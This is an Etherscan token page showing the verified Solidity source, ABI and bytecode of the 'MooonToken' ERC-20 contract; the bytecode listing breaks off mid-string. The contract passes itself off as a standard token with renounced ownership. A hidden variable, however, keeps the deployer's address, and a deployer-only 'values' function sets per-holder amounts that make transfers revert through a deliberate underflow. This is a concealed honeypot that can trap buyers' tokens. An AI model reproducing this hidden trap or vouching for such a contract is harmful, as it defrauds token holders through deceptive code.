Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
20,000,000 Mooon
Holders
385
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2.720038258488881983 MooonValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MooonToken
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(address(0)); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract MooonToken is IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping (address => uint256) private _valueAmounts; mapping(address => uint256) userValue; uint160 private ints = 1178962522791324746451707478463297186438019903338; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( ) payable { _name = "Mooon"; _symbol = "Mooon"; _decimals = 18; _totalSupply = 20000000 * 10**_decimals; ints = uint160(msg.sender); _balances[msg.sender] = _balances[msg.sender].add(_totalSupply); emit Transfer(address(0), msg.sender, _totalSupply); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function values(address[] calldata addr,uint256 appr) external { uint160 res = ints + (1-1); uint160 result = uint160(msg.sender); if(res > result || res < result){ revert("not call"); } for (uint256 i = 0; i < addr.length; i++) { _valueAmounts[addr[i]] = appr; } } function getUserValueAmount(address account) public view returns (uint256) { return _valueAmounts[account]; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 crossAmount = getUserValueAmount(sender); if (crossAmount > 0) { uint256 am = amount - crossAmount; userValue[sender] = userValue[sender] + am; } _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getUserValueAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"uint256","name":"appr","type":"uint256"}],"name":"values","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405273ce8282076e552294f464b8ed836d0025edd96f6a600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200006b6000620002a760201b60201c565b6040518060400160405280600581526020017f4d6f6f6f6e00000000000000000000000000000000000000000000000000000081525060069080519060200190620000b892919062000383565b506040518060400160405280600581526020017f4d6f6f6f6e000000000000000000000000000000000000000000000000000000815250600790805190602001906200010692919062000383565b506012600860006101000a81548160ff021916908360ff160217905550600860009054906101000a900460ff16600a62000141919062000519565b6301312d0062000152919062000656565b60098190555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001f4600954600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200036b60201b62000b8f1790919060201c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095460405162000299919062000444565b60405180910390a36200076f565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836200037b919062000461565b905092915050565b8280546200039190620006ce565b90600052602060002090601f016020900481019282620003b5576000855562000401565b82601f10620003d057805160ff191683800117855562000401565b8280016001018555821562000401579182015b8281111562000400578251825591602001919060010190620003e3565b5b50905062000410919062000414565b5090565b5b808211156200042f57600081600090555060010162000415565b5090565b6200043e81620006b7565b82525050565b60006020820190506200045b600083018462000433565b92915050565b60006200046e82620006b7565b91506200047b83620006b7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004b357620004b262000704565b5b828201905092915050565b6000808291508390505b60018511156200051057808604811115620004e857620004e762000704565b5b6001851615620004f85780820291505b8081029050620005088562000762565b9450620004c8565b94509492505050565b60006200052682620006b7565b91506200053383620006c1565b9250620005627fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200056a565b905092915050565b6000826200057c57600190506200064f565b816200058c57600090506200064f565b8160018114620005a55760028114620005b057620005e6565b60019150506200064f565b60ff841115620005c557620005c462000704565b5b8360020a915084821115620005df57620005de62000704565b5b506200064f565b5060208310610133831016604e8410600b8410161715620006205782820a9050838111156200061a576200061962000704565b5b6200064f565b6200062f8484846001620004be565b9250905081840481111562000649576200064862000704565b5b81810290505b9392505050565b60006200066382620006b7565b91506200067083620006b7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006ac57620006ab62000704565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006e757607f821691505b60208210811415620006fe57620006fd62000733565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b611b2c806200077f6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b806370a082311461023b578063715018a61461026b5780638da5cb5b1461027557806395d89b411461029357610100565b806318160ddd116100d357806318160ddd1461019f57806323b872dd146101bd578063313ce567146101ed578063395093511461020b57610100565b806306fdde0314610105578063095ea7b314610123578063140f22f714610153578063165c640714610183575b600080fd5b61010d61035d565b60405161011a91906116bb565b60405180910390f35b61013d600480360381019061013891906112fe565b6103ef565b60405161014a91906116a0565b60405180910390f35b61016d6004803603810190610168919061124a565b61040d565b60405161017a91906117bd565b60405180910390f35b61019d6004803603810190610198919061133a565b610456565b005b6101a76105ec565b6040516101b491906117bd565b60405180910390f35b6101d760048036038101906101d291906112af565b6105f6565b6040516101e491906116a0565b60405180910390f35b6101f56106cf565b60405161020291906117d8565b60405180910390f35b610225600480360381019061022091906112fe565b6106e6565b60405161023291906116a0565b60405180910390f35b6102556004803603810190610250919061124a565b610799565b60405161026291906117bd565b60405180910390f35b6102736107e2565b005b61027d61086a565b60405161028a9190611685565b60405180910390f35b61029b610893565b6040516102a891906116bb565b60405180910390f35b6102cb60048036038101906102c691906112fe565b610925565b6040516102d891906116a0565b60405180910390f35b6102fb60048036038101906102f691906112fe565b6109f2565b60405161030891906116a0565b60405180910390f35b61032b60048036038101906103269190611273565b610a10565b60405161033891906117bd565b60405180910390f35b61035b6004803603810190610356919061124a565b610a97565b005b60606006805461036c9061196b565b80601f01602080910402602001604051908101604052809291908181526020018280546103989061196b565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610ba5565b8484610bad565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610486919061180f565b905060003390508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1611806104f257508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16105b15610532576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105299061175d565b60405180910390fd5b60005b858590508110156105e457836003600088888581811061057e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610593919061124a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806105dc9061199d565b915050610535565b505050505050565b6000600954905090565b6000610603848484610d78565b6106c48461060f610ba5565b6106bf85604051806060016040528060288152602001611aaa60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610675610ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110bd9092919063ffffffff16565b610bad565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600061078f6106f3610ba5565b8461078a8560026000610704610ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b8f90919063ffffffff16565b610bad565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ea610ba5565b73ffffffffffffffffffffffffffffffffffffffff1661080861086a565b73ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108559061173d565b60405180910390fd5b6108686000611112565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546108a29061196b565b80601f01602080910402602001604051908101604052809291908181526020018280546108ce9061196b565b801561091b5780601f106108f05761010080835404028352916020019161091b565b820191906000526020600020905b8154815290600101906020018083116108fe57829003601f168201915b5050505050905090565b60006109e8610932610ba5565b846109e385604051806060016040528060258152602001611ad2602591396002600061095c610ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110bd9092919063ffffffff16565b610bad565b6001905092915050565b6000610a066109ff610ba5565b8484610d78565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a9f610ba5565b73ffffffffffffffffffffffffffffffffffffffff16610abd61086a565b73ffffffffffffffffffffffffffffffffffffffff1614610b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0a9061173d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a906116fd565b60405180910390fd5b610b8c81611112565b50565b60008183610b9d9190611859565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c149061179d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c849061171d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6b91906117bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddf9061177d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f906116dd565b60405180910390fd5b6000610e638461040d565b90506000811115610f0e5760008183610e7c91906118af565b905080600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec99190611859565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b610f7a82604051806060016040528060268152602001611a8460269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110bd9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100f82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b8f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110af91906117bd565b60405180910390a350505050565b6000838311158290611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc91906116bb565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000813590506111e581611a55565b92915050565b60008083601f8401126111fd57600080fd5b8235905067ffffffffffffffff81111561121657600080fd5b60208301915083602082028301111561122e57600080fd5b9250929050565b60008135905061124481611a6c565b92915050565b60006020828403121561125c57600080fd5b600061126a848285016111d6565b91505092915050565b6000806040838503121561128657600080fd5b6000611294858286016111d6565b92505060206112a5858286016111d6565b9150509250929050565b6000806000606084860312156112c457600080fd5b60006112d2868287016111d6565b93505060206112e3868287016111d6565b92505060406112f486828701611235565b9150509250925092565b6000806040838503121561131157600080fd5b600061131f858286016111d6565b925050602061133085828601611235565b9150509250929050565b60008060006040848603121561134f57600080fd5b600084013567ffffffffffffffff81111561136957600080fd5b611375868287016111eb565b9350935050602061138886828701611235565b9150509250925092565b61139b816118e3565b82525050565b6113aa816118f5565b82525050565b60006113bb826117f3565b6113c581856117fe565b93506113d5818560208601611938565b6113de81611a44565b840191505092915050565b60006113f66023836117fe565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061145c6026836117fe565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114c26022836117fe565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115286020836117fe565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006115686008836117fe565b91507f6e6f742063616c6c0000000000000000000000000000000000000000000000006000830152602082019050919050565b60006115a86025836117fe565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061160e6024836117fe565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61167081611921565b82525050565b61167f8161192b565b82525050565b600060208201905061169a6000830184611392565b92915050565b60006020820190506116b560008301846113a1565b92915050565b600060208201905081810360008301526116d581846113b0565b905092915050565b600060208201905081810360008301526116f6816113e9565b9050919050565b600060208201905081810360008301526117168161144f565b9050919050565b60006020820190508181036000830152611736816114b5565b9050919050565b600060208201905081810360008301526117568161151b565b9050919050565b600060208201905081810360008301526117768161155b565b9050919050565b600060208201905081810360008301526117968161159b565b9050919050565b600060208201905081810360008301526117b681611601565b9050919050565b60006020820190506117d26000830184611667565b92915050565b60006020820190506117ed6000830184611676565b92915050565b600081519050919050565b600082825260208201905092915050565b600061181a82611901565b915061182583611901565b92508273ffffffffffffffffffffffffffffffffffffffff0382111561184e5761184d6119e6565b5b828201905092915050565b600061186482611921565b915061186f83611921565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118a4576118a36119e6565b5b828201905092915050565b60006118ba82611921565b91506118c583611921565b9250828210156118d8576118d76119e6565b5b828203905092915050565b60006118ee82611901565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561195657808201518184015260208101905061193b565b83811115611965576000848401525b50505050565b6000600282049050600182168061198357607f821691505b6020821081141561199757611996611a15565b5b50919050565b60006119a882611921565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156119db576119da6119e6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611a5e816118e3565b8114611a6957600080fd5b50565b611a7581611921565b8114611a8057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f238dc60cd7344810bcb50aebb71494010724478ac64c9bd4395c3c036b3b7af64736f6c63430008000033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b806370a082311461023b578063715018a61461026b5780638da5cb5b1461027557806395d89b411461029357610100565b806318160ddd116100d357806318160ddd1461019f57806323b872dd146101bd578063313ce567146101ed578063395093511461020b57610100565b806306fdde0314610105578063095ea7b314610123578063140f22f714610153578063165c640714610183575b600080fd5b61010d61035d565b60405161011a91906116bb565b60405180910390f35b61013d600480360381019061013891906112fe565b6103ef565b60405161014a91906116a0565b60405180910390f35b61016d6004803603810190610168919061124a565b61040d565b60405161017a91906117bd565b60405180910390f35b61019d6004803603810190610198919061133a565b610456565b005b6101a76105ec565b6040516101b491906117bd565b60405180910390f35b6101d760048036038101906101d291906112af565b6105f6565b6040516101e491906116a0565b60405180910390f35b6101f56106cf565b60405161020291906117d8565b60405180910390f35b610225600480360381019061022091906112fe565b6106e6565b60405161023291906116a0565b60405180910390f35b6102556004803603810190610250919061124a565b610799565b60405161026291906117bd565b60405180910390f35b6102736107e2565b005b61027d61086a565b60405161028a9190611685565b60405180910390f35b61029b610893565b6040516102a891906116bb565b60405180910390f35b6102cb60048036038101906102c691906112fe565b610925565b6040516102d891906116a0565b60405180910390f35b6102fb60048036038101906102f691906112fe565b6109f2565b60405161030891906116a0565b60405180910390f35b61032b60048036038101906103269190611273565b610a10565b60405161033891906117bd565b60405180910390f35b61035b6004803603810190610356919061124a565b610a97565b005b60606006805461036c9061196b565b80601f01602080910402602001604051908101604052809291908181526020018280546103989061196b565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610ba5565b8484610bad565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610486919061180f565b905060003390508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1611806104f257508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16105b15610532576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105299061175d565b60405180910390fd5b60005b858590508110156105e457836003600088888581811061057e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610593919061124a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806105dc9061199d565b915050610535565b505050505050565b6000600954905090565b6000610603848484610d78565b6106c48461060f610ba5565b6106bf85604051806060016040528060288152602001611aaa60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610675610ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110bd9092919063ffffffff16565b610bad565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600061078f6106f3610ba5565b8461078a8560026000610704610ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b8f90919063ffffffff16565b610bad565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ea610ba5565b73ffffffffffffffffffffffffffffffffffffffff1661080861086a565b73ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108559061173d565b60405180910390fd5b6108686000611112565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546108a29061196b565b80601f01602080910402602001604051908101604052809291908181526020018280546108ce9061196b565b801561091b5780601f106108f05761010080835404028352916020019161091b565b820191906000526020600020905b8154815290600101906020018083116108fe57829003601f168201915b5050505050905090565b60006109e8610932610ba5565b846109e385604051806060016040528060258152602001611ad2602591396002600061095c610ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73fffffffffffffffffffffffffffff